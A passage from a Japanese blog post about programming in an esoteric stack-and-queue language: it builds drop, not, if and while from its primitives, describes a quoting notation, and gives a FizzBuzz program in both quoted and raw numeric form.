準備として、; #0 !として$0$番目の関数をnopにする。 : -としてstack topを$0$にし、?により$0$番目の関数を呼ぶことでこれを消費し、全体としてdrop操作となる。

not命令

例えば~ #8 + ~ #3 -とする。 $256$種類の値を$0,1$の$2$種類に分ける必要があるが、非可逆操作でこの用途に使えるのは実質的に$log x$ ~のみであり、これを使う。 $0, 1, \dots, 255$をまず$8 = [0], 0 = [1] = [2], \dots, 7 = [128] = \dots = [255]$の$8$種の同値類に分割し、これをずらして再度分割することにより、$0, 1$のみに潰す。

if文

分岐が可能な命令はeval ?のみである。 例えば、上で示したnot等を使い$0,1$を作り、関数$0$と関数$1$をそれぞれ分岐先として定義し、?により呼び分けることで実現できる。

while文

末尾再帰のようにすればよい。if文で直接制御してもよいが、再帰関数自体を動的にnopで塗り替えることもできる。

criticism

if文やwhile文の分だけ関数定義がnestすることになる。 この際、toplevelとそれ以外で諸々の挙動に差があり、綺麗でない。 具体的には、

  • ;命令はtoplevelでのみ使える
    • '; $=$ #59;は同値であるので、ひとつ内側では'';#35#53#57とする必要がある
  • ?を介さない直接の関数呼び出しが不透明
    • その関数内で動的に定義された関数を呼ぶには?が必要
    • !命令により定義された関数が実際の環境に反映されるのが、そのscopeを抜けた時点であるのが原因

fizzbuzz

書いた。

quoted

wikiのそれと同様のquoteによる記法で書いて翻訳させた。以下のような規則。

  • 'A $\to$ #65
  • ''A $=$ '#'6'5 $\to$ #35#54#53
  • '''A $\to$ #35#51#53#35#53#52#35#53#51

中規模のものを書きたいなら、例えば以下のような拡張されたquotationと、commentの記法を定めるとよさそう。

  • '(ABC) $=$ 'A'B'C $\to$ #65#66#67
  • '(A'(BC)D) $=$ 'A''B''C'D $\to$ #65#35#54#54#35#54#55#68
; #32!                         NOP
; ':'-'3'2'? '$ !              DROP
; '~'#'8'+'~'#'3'- 'c !        NEGATE LOGICALLY
; '#'1'0'. 'a !                PRINT NEWLINE

; ''f'.''i'.''z'.''z'. 'f !    PRINT FIZZ
; ''b'.''u'.''z'.''z'. 'b !    PRINT BUZZ
; ''0'+'. 'p !                 PRINT DIGIT
; 'v'^'$ 'r !                  ROTATE QUEUE

MEMORY ON QUEUE
#1^$    FIZZ
#1^$    BUZZ
#0^$    TEN
#1^$    ONE
#1^$    COUNT

;
    MEMORY ON FUNCTION AREA
    ''; '''p''? ''n '!
    ''; '''; '''n ''! ''N '!

    FIZZ
    'v
    ''; ''f''N ''$''#''1 '#'1 '!
    '';        ''#''1''+ '#'0 '!
    ':'#'3'-'c'? '^'$

    BUZZ
    'v
    ''; ''b''N ''$''#''1 '#'1 '!
    '';        ''#''1''+ '#'0 '!
    ':'#'5'-'c'? '^'$

    TEN
    'v
    '';            '#'1 '!    SKIP IF ZERO
    ''; '':'''n''? '#'0 '!
    ':'c'? '^'$

    ONE
    'v
    ':''n'?
    ''; ''$''#''0 ''r''r''r''v ''#''1''+ ''^''$ '#'1 '!    CARRY
    ''; ''#''1''+                               '#'0 '!
    ':'#'9'-'c'? '^'$

    'a    NEWLINE

    'v
    ''; ''';'''l''! '#'1 '!    REMOVE FUNCTION L
    ''; ''#''1''+   '#'0 '!
    ':'#'1'0'0'-'c'? '^'$
    ''l'?    NEXT LOOP
'l!
l    BEGIN LOOP

raw

組込みでない関数がdefaultでは何もしない関数として扱われる(仕様?処理系依存?)ようなので、大文字で書いたCOMMENTはそのままにしていてもよい。

; #32!
; #58#45#51#50#63 #36 !
; #126#35#56#43#126#35#51#45 #99 !
; #35#49#48#46 #97 !

; #35#49#48#50#46#35#49#48#53#46#35#49#50#50#46#35#49#50#50#46 #102 !
; #35#57#56#46#35#49#49#55#46#35#49#50#50#46#35#49#50#50#46 #98 !
; #35#52#56#43#46 #112 !
; #118#94#36 #114 !


#1^$
#1^$
#0^$
#1^$
#1^$

;

    #35#53#57 #35#51#53#35#52#57#35#52#57#35#53#48#35#54#51 #35#49#49#48 #33
    #35#53#57 #35#51#53#35#53#51#35#53#55 #35#51#53#35#52#57#35#52#57#35#52#56 #35#51#51 #35#55#56 #33


    #118
    #35#53#57 #35#49#48#50#35#55#56 #35#51#54#35#51#53#35#52#57 #35#49 #33
    #35#53#57        #35#51#53#35#52#57#35#52#51 #35#48 #33
    #58#35#51#45#99#63 #94#36


    #118
    #35#53#57 #35#57#56#35#55#56 #35#51#54#35#51#53#35#52#57 #35#49 #33
    #35#53#57        #35#51#53#35#52#57#35#52#51 #35#48 #33
    #58#35#53#45#99#63 #94#36


    #118
    #35#53#57            #35#49 #33
    #35#53#57 #35#53#56#35#51#53#35#52#57#35#52#57#35#52#56#35#54#51 #35#48 #33
    #58#99#63 #94#36


    #118
    #58#35#49#49#48#63
    #35#53#57 #35#51#54#35#51#53#35#52#56 #35#49#49#52#35#49#49#52#35#49#49#52#35#49#49#56 #35#51#53#35#52#57#35#52#51 #35#57#52#35#51#54 #35#49 #33
    #35#53#57 #35#51#53#35#52#57#35#52#51                               #35#48 #33
    #58#35#57#45#99#63 #94#36

    #97

    #118
    #35#53#57 #35#51#53#35#53#51#35#53#55#35#51#53#35#52#57#35#52#56#35#53#54#35#51#51 #35#49 #33
    #35#53#57 #35#51#53#35#52#57#35#52#51   #35#48 #33
    #58#35#49#48#48#45#99#63 #94#36
    #35#49#48#56#63
#108!
l

書き易いから上記でもって満足してしまっているが、漏らしている面白さがあれば教えてほしい。